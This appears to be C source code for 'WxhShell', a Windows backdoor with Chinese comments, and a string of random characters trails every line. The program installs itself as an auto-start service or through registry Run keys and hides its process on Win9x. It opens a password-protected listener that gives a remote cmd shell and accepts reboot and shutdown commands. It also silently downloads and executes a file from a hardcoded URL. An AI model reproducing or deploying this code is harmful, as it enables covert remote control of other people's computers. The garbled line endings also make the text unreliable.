  case 'd': { INOH{`}Ew  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M]1;  
    if(Boot(SHUTDOWN)) GN0duV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.jA 8X  
    else { rrAqI$6  
    closesocket(wsh); +B#qu/By  
    ExitThread(0); gNTh% e  
    } 1f<RyAE?5  
    break; =m~ruZ/  
    } )]wuF`  
  // 获取shell bCzdszvg3  
  case 's': { 4X*Q6rW  
    CmdShell(wsh); Uh*@BmDA  
    closesocket(wsh); {f-XyF1`  
    ExitThread(0); )PwQ^||{  
    break; +uELTHH=  
  } /0 _zXQyV  
  // 退出 (oF-O{  
  case 'x': { oQ{cSThj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =C#*!N73  
    CloseIt(wsh); G&jZ\IV  
    break; a/34WFC  
    } 5.dl>,  
  // 离开 KhrFg1|  
  case 'q': { *(icR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  b)Tl*  
    closesocket(wsh); >zFD $  
    WSACleanup(); B_cgWJ*4  
    exit(1); :Z[(A"dA  
    break; ~U9q-/(J/  
        } 4Ppop  
  } &; s<dDQK  
  } SAy{YOLtl  
]'tJ S]  
  // 提示信息 4b=Gg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \KCWYi]  
} lr0M<5d=p  
  } zXjw nep  
AxEc^Cof  
  return; >4~#%&  
} W1hX?!xp!  
<}cZi4l'  
// shell模块句柄 $D}"k!H  
int CmdShell(SOCKET sock) G~(& 3  
{ aV#h5s  
STARTUPINFO si; \ZsP]};*  
ZeroMemory(&si,sizeof(si)); 2 ^oGwx @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @C=m?7O98  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gX_SKy  
PROCESS_INFORMATION ProcessInfo; ]hL:33  
char cmdline[]="cmd"; js -2"I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Bi@?Sb  
  return 0; B>,A(X&  
} e+{BJN vz  
lA]N04 d  
// 自身启动模式 _CL{IY  
int StartFromService(void) m d_g}N(C  
{ me:iQ.g  
typedef struct tJAnuhX  
{ L?Cjo4xS  
  DWORD ExitStatus; l/ QhD?)9  
  DWORD PebBaseAddress; &y\igX1  
  DWORD AffinityMask; f]]f85  
  DWORD BasePriority; L0xsazX:x  
  ULONG UniqueProcessId; 9OfU7_m  
  ULONG InheritedFromUniqueProcessId; 9>;} /*:H  
}   PROCESS_BASIC_INFORMATION; ZL,8,;]  
[1U{ci&=p  
PROCNTQSIP NtQueryInformationProcess; 3Soy3Xp  
y] y9'5_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hr&Ere8.4p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E?_ zZ2  
Wt:~S/l  
  HANDLE             hProcess; +<{m45  
  PROCESS_BASIC_INFORMATION pbi; %i595Ij-]  
%jT w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +!><5  
  if(NULL == hInst ) return 0; op.d;lO@  
ly=a>}F_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w,/6B&|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mqw 84u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \C7q4p?8  
C bQ4Y  
  if (!NtQueryInformationProcess) return 0; ) $J7sa  
7DZTQUb"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nd.hHQ  
  if(!hProcess) return 0; 7 OWsHlU  
# M>wH`Q#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sz)b7:  
jqtVpNwM  
  CloseHandle(hProcess); _JA:.V^3gm  
!=y Q)l2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^7^2D2[  
if(hProcess==NULL) return 0; j76%UG\Ga  
K[]K53Nk  
HMODULE hMod; v^TkDf(Oz  
char procName[255]; e[8UH=`|  
unsigned long cbNeeded; ]Zk}ZG>6  
o[^Q y(2~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -yl;3K]l  
}uiPvO+&p  
  CloseHandle(hProcess); Si R\a!,C  
R>HY:-2  
if(strstr(procName,"services")) return 1; // 以服务启动 }1@E"6kF  
^cn@?k((A  
  return 0; // 注册表启动 #a'r_K=ch)  
} A%n?}  
I)lC{v  
// 主模块 NNp}|a9  
int StartWxhshell(LPSTR lpCmdLine) _#vGs:-x&  
{ ^)<w*iqBD  
  SOCKET wsl; SBL+e]P  
BOOL val=TRUE; ?Sw /(}|m  
  int port=0; !-,Ww[G>  
  struct sockaddr_in door; +A\V)  
ju.OW`GM  
  if(wscfg.ws_autoins) Install(); p6Gcts?,  
ayeCi8  
port=atoi(lpCmdLine); &F`L}#oL&  
y!5:dvt  
if(port<=0) port=wscfg.ws_port; $L\@da?  
AqqHD=Yp  
  WSADATA data; yW`e |!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R{`gR"*  
QTE:K?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I^:F)a:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bRsc-Fz6  
  door.sin_family = AF_INET; ;W~4L+e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ k<SbFp  
  door.sin_port = htons(port); U{HML|  
xW0Z'==  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x?=B\8m  
closesocket(wsl); }AJ L,Q7q  
return 1; 1daL y  
} -=sf}4A  
Q1]Wo9j  
  if(listen(wsl,2) == INVALID_SOCKET) { *{nunb>WO  
closesocket(wsl); GMe0;StT  
return 1; ])UwC-l  
} kC31$jMC3!  
  Wxhshell(wsl); H:{?3gk.P3  
  WSACleanup(); 0R4akLW0  
&~ y{'zoL  
return 0; *v&*% B  
}H2#H7!H  
} 8JP6M!F#  
FJF3B)Va|  
// 以NT服务方式启动 ~QCA -Yud  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RJwb@r<v  
{ .:[`j3s)Y  
DWORD   status = 0; b}}y=zO|$  
  DWORD   specificError = 0xfffffff; v8  
\OA L Or  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J^h'9iQpi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FR["e1<0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dE GX3 -  
  serviceStatus.dwWin32ExitCode     = 0; 3fl7~Lw,  
  serviceStatus.dwServiceSpecificExitCode = 0; wonYm27f  
  serviceStatus.dwCheckPoint       = 0; 0$QIfT)  
  serviceStatus.dwWaitHint       = 0; Uuz?8/w}#  
V]m^7^m3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); - f 4>MG  
  if (hServiceStatusHandle==0) return; !xymoiArp  
pALJl[Cb  
status = GetLastError(); k,lqT>C  
  if (status!=NO_ERROR) yfC2^#9 Zu  
{ rmQ\RP W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F+3!uWUK  
    serviceStatus.dwCheckPoint       = 0; }k| g%H J  
    serviceStatus.dwWaitHint       = 0; sjb-Me?  
    serviceStatus.dwWin32ExitCode     = status; VfRs[ 3Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; zhjJ>d%w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zWtj|%ts  
    return; 9cz)f\  
  } zuMO1s  
@.1Qs`pt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >] -<uT_  
  serviceStatus.dwCheckPoint       = 0; p7$3`t 6u  
  serviceStatus.dwWaitHint       = 0; )tvc/)&A}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _0m}z%rI  
} F^]aC98]1  
-F1P2 8<?  
// 处理NT服务事件,比如:启动、停止 *0\k Z,#BJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i(P>Y2s  
{ M/l95fp   
switch(fdwControl) hg4J2m  
{ V_lGj  
case SERVICE_CONTROL_STOP: cCk1'D|X[e  
  serviceStatus.dwWin32ExitCode = 0; pagC(F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8:<1|]]  
  serviceStatus.dwCheckPoint   = 0; jzQ I>u  
  serviceStatus.dwWaitHint     = 0; wR(ttwxK3  
  { A(NEWO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wa2~C [  
  } Hva{A #  
  return; a}w&dE$!-  
case SERVICE_CONTROL_PAUSE: pJn>oGeJ&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @BXaA0F4  
  break; aX]y`  
case SERVICE_CONTROL_CONTINUE: Lg b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1 0V+OIC  
  break; FbuKZp+  
case SERVICE_CONTROL_INTERROGATE: c[Yq5Bu{y  
  break; ]a=l^Pc(xN  
}; PB@-U.Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $6Z[|9W^A  
} [&Lxz~W][  
L PMb0F}"5  
// 标准应用程序主函数 GV=V^Fl .  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i6FP[6H1  
{ 9c%(]Rn:  
Gy$o7|PA"{  
// 获取操作系统版本 g{]ej  
OsIsNt=GetOsVer(); sE}sE=\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^&HI +M  
,rXW`7!2  
  // 从命令行安装 bu;vpNa  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]Px:d+wX:  
XGL"gD   
  // 下载执行文件 aK-N}T  
if(wscfg.ws_downexe) { eZ[#+0J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iKY-;YK  
  WinExec(wscfg.ws_filenam,SW_HIDE); jD<9=B(g  
} :ECw \_"0$  
6B /Jp  
if(!OsIsNt) { Mg&HRE  
// 如果时win9x,隐藏进程并且设置为注册表启动  eMztjN  
HideProc(); \/pVcR  
StartWxhshell(lpCmdLine); N0=b[%g;n  
} ?fm2qrV@fp  
else 3EAX]  
  if(StartFromService()) %sYk0~E  
  // 以服务方式启动 =GLYDV  
  StartServiceCtrlDispatcher(DispatchTable); f7 K8m|  
else omr:C8T>  
  // 普通方式启动 -B",&yTV  
  StartWxhshell(lpCmdLine); XPrY`,kN  
Fv<]mu  
return 0; N{|[R   
} g\E ._ab<  
f.sPE8 #3=  
0GF%~6  
s 8C:QC  
=========================================== UX03"gX  
*pmoLiuB>  
9.^-us1  
U. NeK{  
nvw NjN  
yZQ1] '^31  
" L>eQ*311  
I):m6y@  
#include <stdio.h> _$~ex ~v  
#include <string.h> i_'|:Uy*F  
#include <windows.h> N.kuE=X  
#include <winsock2.h> "bL P3  
#include <winsvc.h> ikeJDKSG  
#include <urlmon.h> @?(nwj~ s`  
+ ?[ ACZF  
#pragma comment (lib, "Ws2_32.lib") @DRfNJ}  
#pragma comment (lib, "urlmon.lib") \3,$YlG  
3XMBu*  
#define MAX_USER   100 // 最大客户端连接数 jqV)V>M.  
#define BUF_SOCK   200 // sock buffer }S1Z>ZA5  
#define KEY_BUFF   255 // 输入 buffer O(b"F? w  
KBp!zSl  
#define REBOOT     0   // 重启 Z:W')Nd(  
#define SHUTDOWN   1   // 关机 WlF+unB!9  
)cf p(16  
#define DEF_PORT   5000 // 监听端口 R V_MWv  
d{vc wZQ  
#define REG_LEN     16   // 注册表键长度 ot&j HS'  
#define SVC_LEN     80   // NT服务名长度 ;))[P_$zB  
eG a#$x?.  
// 从dll定义API hlY S=cgY=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7R% PVgS4x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $sB48LJuU'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); My`josJ`Pb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $fq-wl-=  
n3-GnVC][  
// wxhshell配置信息 4+Li)A:4.  
struct WSCFG { p7?CeyZ-V  
  int ws_port;         // 监听端口 k:&?$  
  char ws_passstr[REG_LEN]; // 口令 NXC~#oG  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^Y1AeJ$L  
  char ws_regname[REG_LEN]; // 注册表键名 eP-R""uPw  
  char ws_svcname[REG_LEN]; // 服务名 r? 6Z1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A= \'r<:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *+4>iL*:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f=-!2#%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zM3H@;}m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;@h'Mb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 98"z0nI%  
sYW1T @  
}; 4okHAv8;  
*)}Ap4[  
// default Wxhshell configuration =N[V{2}q  
struct WSCFG wscfg={DEF_PORT,  (9'G  
    "xuhuanlingzhe", o}j_eH l{  
    1, HZ[68T[8b  
    "Wxhshell", ePIly)=X  
    "Wxhshell", 9g<_JcN  
            "WxhShell Service", ,_e/a   
    "Wrsky Windows CmdShell Service", J7&.>y1%  
    "Please Input Your Password: ", o{ YW  
  1, ~]m@k'n  
  "http://www.wrsky.com/wxhshell.exe", dd @COP?  
  "Wxhshell.exe" +w_MSj#P  
    }; ~0Q\Lp);  
:c+a-Py $E  
// 消息定义模块 N`L' 4v)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uj+.L6S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XQ+-+CD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~I8"l@H>  
char *msg_ws_ext="\n\rExit."; Y`[HjS,  
char *msg_ws_end="\n\rQuit."; l72i e  
char *msg_ws_boot="\n\rReboot..."; hCOy\[2$  
char *msg_ws_poff="\n\rShutdown..."; _Oaso >  
char *msg_ws_down="\n\rSave to "; ZQJw2LAgO  
!pF KC)  
char *msg_ws_err="\n\rErr!"; 4IGQ,RTB  
char *msg_ws_ok="\n\rOK!";  HC<BGIgL  
7!` C TE  
char ExeFile[MAX_PATH]; D{Jc+Q$  
int nUser = 0; t"!8  
HANDLE handles[MAX_USER]; F(J!dG5#  
int OsIsNt; %'D:bi5  
4p/V6kr&r  
SERVICE_STATUS       serviceStatus; @zq\z$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S3JygN*  
=":V WHf  
// 函数声明 =."WvBKg  
int Install(void); iu:p &h  
int Uninstall(void); iA{chQBr  
int DownloadFile(char *sURL, SOCKET wsh); Rp4BU"&sU  
int Boot(int flag); =O}%bZ)Q  
void HideProc(void); 8zB+%mcF  
int GetOsVer(void); EcS-tE 4%  
int Wxhshell(SOCKET wsl); #/ gme  
void TalkWithClient(void *cs); )4o=t.O\K  
int CmdShell(SOCKET sock); ,:Rq  
int StartFromService(void); 6lH>600]u  
int StartWxhshell(LPSTR lpCmdLine); @Tm0T7C  
0I ND9h. %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z:o' +oh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v'2OHb#  
\Vhp B   
// 数据结构和表定义 ah&plaVzC  
SERVICE_TABLE_ENTRY DispatchTable[] = "351s3ff  
{ #VMBn}   
{wscfg.ws_svcname, NTServiceMain}, N%M>,wT  
{NULL, NULL} BzG!Rg|J  
}; fAA@ziKg  
ss M9t  
// 自我安装 d9e H}#OY  
int Install(void) JwG5#CFu^  
{ e^l+ #^fR  
  char svExeFile[MAX_PATH]; 0 S`b;f  
  HKEY key; oT5rX ,8  
  strcpy(svExeFile,ExeFile); JXa%TpI: E  
N6 }i>";_;  
// 如果是win9x系统,修改注册表设为自启动 kI1{>vYD  
if(!OsIsNt) { jJ{ w -$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iTBhLg,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Ihdq89t  
  RegCloseKey(key); JcALFKLB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `efH(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =ym~= S  
  RegCloseKey(key); .qU%SmQ^  
  return 0; Pt)}HF|u  
    } kHIQ/\3?Q  
  } [ QL<&:s&  
} cE8 _keR~  
else { %?{2uMfq-f  
2*",{m  
// 如果是NT以上系统,安装为系统服务 h/y}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -r2qIt  
if (schSCManager!=0) BKlc{=  
{ :@4>}k*  
  SC_HANDLE schService = CreateService 2W-NCE%K)T  
  ( ^}pREe c=  
  schSCManager, EpS8,[w  
  wscfg.ws_svcname, t;~`Lm@hY  
  wscfg.ws_svcdisp, kGTc~p(  
  SERVICE_ALL_ACCESS,  Vgb>3]SU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X72X:"  
  SERVICE_AUTO_START, -H]f@|AOw  
  SERVICE_ERROR_NORMAL, `\FjO"  
  svExeFile, o5G"J"vxe  
  NULL, s$y#Ufz  
  NULL, /v ;Kb|e  
  NULL, a0W\?  
  NULL, arH\QPaka'  
  NULL J,M5<s[Xqt  
  ); oP`M\KXau  
  if (schService!=0) 25@j2K(  
  { L}S4Zz18  
  CloseServiceHandle(schService); ?kxWj(D  
  CloseServiceHandle(schSCManager); 2B?i2[a,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 50hh0!1  
  strcat(svExeFile,wscfg.ws_svcname); BNm va  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7;-i_&vws  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qO3BQ]UF  
  RegCloseKey(key); r0uXMr=Z96  
  return 0; wdDHRW0Y  
    } JY8"TQ$x  
  } %[CM;|?B4  
  CloseServiceHandle(schSCManager); ~ai' M#  
} HaN _}UMP  
} 4g^+y.,r_f  
rxk{Li<9  
return 1; pP oC61F  
} ]M"'qC3g  
Lj1 @yokB  
// 自我卸载 '9Odw@tp  
int Uninstall(void) .`#R%4Xl  
{ `-YSFQ~O,  
  HKEY key; [cAg'R6  
k_^/   
if(!OsIsNt) { _5`S)G{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %~(i[Ur;  
  RegDeleteValue(key,wscfg.ws_regname); /<(ik&%N  
  RegCloseKey(key); O,Gn2Do  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?v~3zHK  
  RegDeleteValue(key,wscfg.ws_regname); *pUV-^uo  
  RegCloseKey(key); xVX||rrh  
  return 0; s3!LR2qiF  
  } __%E!*m"<_  
} \k-juF80  
} myX0<j3G5  
else { x`l; ;  
{Y TF]J $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bzt`9lg  
if (schSCManager!=0) E }j8p_p  
{ zFQkUgb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y rnqi-P  
  if (schService!=0) ]H7Mx\  
  { /\I%)B47^9  
  if(DeleteService(schService)!=0) { l#.,wOO{  
  CloseServiceHandle(schService); RteTz_ z{  
  CloseServiceHandle(schSCManager); |Cq J2  
  return 0; eH*b -H[  
  } 2![W N*N>O  
  CloseServiceHandle(schService); &bK$!8Z  
  } rM.<Gi05Qe  
  CloseServiceHandle(schSCManager); cHct|Z u  
} )Dpt<}}\  
} ^{bEq\5&  
[ [CXMbD`*  
return 1; M 7$4KFNp  
} !jnIXvT1qy  
PdBhX  
// 从指定url下载文件 L4Y3\4xXO  
int DownloadFile(char *sURL, SOCKET wsh) dV  
{ hkI);M+@6  
  HRESULT hr; QLg9aG|  
char seps[]= "/"; =)5a=^ 6  
char *token; >iJuR.:OO  
char *file; i_ TdI  
char myURL[MAX_PATH]; [i#Gqx>'w  
char myFILE[MAX_PATH]; }"k(kH  
HNT8~s.2  
strcpy(myURL,sURL); e/\_F+jyc  
  token=strtok(myURL,seps); r0bPaAKw  
  while(token!=NULL) T bWZw  
  { >vy+U  
    file=token; 1e} 3L2rC  
  token=strtok(NULL,seps); dq(L1y870  
  } e1Hx"7ew_  
K a|\gl;V  
GetCurrentDirectory(MAX_PATH,myFILE); 3vD,hL`&  
strcat(myFILE, "\\"); W RaO.3Q@.  
strcat(myFILE, file); ]zY'w,?D\F  
  send(wsh,myFILE,strlen(myFILE),0); >L4$DKO  
send(wsh,"...",3,0); /MtacR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^SCWT\E  
  if(hr==S_OK) )zV5KC{{  
return 0; 9%6`ZS~3  
else X  jN.X  
return 1; Q6>( Z  
5 Vqvb|  
} Hp AZ{P7  
*X=-^\G  
// 系统电源模块 W7"sWaOhW  
int Boot(int flag) J)NpG9iN  
{ iK:]Q8b  
  HANDLE hToken; Hm*#HT%#  
  TOKEN_PRIVILEGES tkp; &X(-C9'j  
zt0 zKXw  
  if(OsIsNt) { DboqFh#]=h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $@wkQ%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fh<G& E8 p  
    tkp.PrivilegeCount = 1; bnQO}G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .5xg;Qg\Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *JXJ 2  
if(flag==REBOOT) { P s;:g0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TKX#/  
  return 0; ic#drpl,  
} @eWx4bl  
else { i-b7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )`-]nMc  
  return 0; $)V4Eu;  
} -2_$zk*n  
  } zPYa@0I  
  else { ?2;G_P+  
if(flag==REBOOT) { )I4tl/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rkl7p?  
  return 0; UtrbkuT  
} pnU g:R@  
else { hg @Jpg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9n7d "XD2  
  return 0; 0<9TyN6  
} B"v=Fr[  
} [4e5(!e  
8 Hn{CJ~'  
return 1; Q<pM tW  
} k~ue^^r}  
a{W-+t   
// win9x进程隐藏模块 qT4s* kqr  
void HideProc(void) 4{KsCd)  
{ p%-9T>og  
?da3Azp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IpxjP\  
  if ( hKernel != NULL ) kZNZ?A<D  
  { b&1@rE-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %ZK}y{u\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =qRVKz  
    FreeLibrary(hKernel); P'8 E8_M}  
  } Apn#o2  
k|5nu-B0v  
return; :*1w;>o)n  
} R7i*f/m  
A-FwNo2"%  
// 获取操作系统版本 0"N %Vm  
int GetOsVer(void) w6_}] &F  
{ L;[*F-+jD  
  OSVERSIONINFO winfo; d,)L,J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F`u~Jx8.*  
  GetVersionEx(&winfo); y(k2p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kf.b <wP{  
  return 1; 6X7_QBC)  
  else (Wn'.|^%  
  return 0; H=jnCGk  
} ]!N5jbA@  
OBZj-`fqJ  
// 客户端句柄模块 X#yl8k_  
int Wxhshell(SOCKET wsl) @!$NUY8,A#  
{ %#,BvQz~  
  SOCKET wsh; 2wd(0K}b  
  struct sockaddr_in client; $c-3Q|C  
  DWORD myID; i  *<,@*  
fVM%.`  
  while(nUser<MAX_USER) CvN~  
{ XHr{\/4V  
  int nSize=sizeof(client); :$j~;)2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O 2U/zF:X  
  if(wsh==INVALID_SOCKET) return 1; HD ~9EK~  
pK4)>q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _OY;SJ(  
if(handles[nUser]==0) 5IMH G%W7  
  closesocket(wsh); ZeO>Ag^  
else Dfea<5~^z  
  nUser++; [H6>]&  
  } <T wq{kt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s@$AYZm_  
>BX_Bou  
  return 0; 1 wG1\9S  
} llzl-2` /  
#lO;G k{  
// 关闭 socket ?P5D!b:(  
void CloseIt(SOCKET wsh) fHigLL0B  
{ \&H%k   
closesocket(wsh); 0`W~2ai  
nUser--; OjN]mp-q  
ExitThread(0); r!#3>F;B  
} jK=[   
wb}tN7~Y;  
// 客户端请求句柄 9YJb~tuZ73  
void TalkWithClient(void *cs) %_ ~[+ ~#  
{ 0e7!_ /9  
YblRwic  
  SOCKET wsh=(SOCKET)cs; Y%faf.$/9  
  char pwd[SVC_LEN]; TDoYp  
  char cmd[KEY_BUFF]; GYYro&aq{  
char chr[1]; ?]t8$^m,;  
int i,j; V/Q6v YX  
/a q%l]hQ@  
  while (nUser < MAX_USER) { z,9qAts?mh  
&[YG\8sxWa  
if(wscfg.ws_passstr) { B;m18LDu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a5'QL(IX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #xc[)Y,W  
  //ZeroMemory(pwd,KEY_BUFF); yhIg)/?L  
      i=0; v% 1#y5  
  while(i<SVC_LEN) { ^T5c^ M8o  
ym KdRF  
  // 设置超时 $H#&.IjY  
  fd_set FdRead; h+Dok#g  
  struct timeval TimeOut; cZu:dwE  
  FD_ZERO(&FdRead); E|>I/!{u7`  
  FD_SET(wsh,&FdRead); +,MzD'(D  
  TimeOut.tv_sec=8; "\9@gfsp)  
  TimeOut.tv_usec=0; mK4a5H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |0&S>%=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .JiQq]  
vmoqsdZ/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "%Jx,L\f{  
  pwd=chr[0]; dw&Xg_$  
  if(chr[0]==0xd || chr[0]==0xa) { eN$~@'w  
  pwd=0; WFkXz*7B  
  break; Pwq} ;+  
  } OD i)#  
  i++; {M$1?j"7  
    } rN}^^9  
/90@ 85%r  
  // 如果是非法用户,关闭 socket  &]euN~y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WV8<gx`Q  
} @ +7'0[y?  
|!}$V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 78X;ZMY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &EQov9P7  
_uBf.Qfs  
while(1) { !yxb<  
a%AU9?/q#  
  ZeroMemory(cmd,KEY_BUFF); "-hgeQX  
tly:$;K  
      // 自动支持客户端 telnet标准   PH]q#/'  
  j=0; dlW w=^  
  while(j<KEY_BUFF) { p?}Rolk7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j#*K[  
  cmd[j]=chr[0]; +?c&Gazi  
  if(chr[0]==0xa || chr[0]==0xd) { zYep V  
  cmd[j]=0; TqlUe@E  
  break; +@!9&5S A  
  } X)yTx8v4  
  j++; lu>>~vy6  
    } :g,rl\S7  
aA:Ky&5e  
  // 下载文件 lyib+Sa ?`  
  if(strstr(cmd,"http://")) { ss[8d%V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %PG0PH4?  
  if(DownloadFile(cmd,wsh)) |m=@;B|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6G( k{S  
  else  "u%$`*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 724,+2N  
  } , vky  
  else { H fRxgA@  
'n=FBu ^  
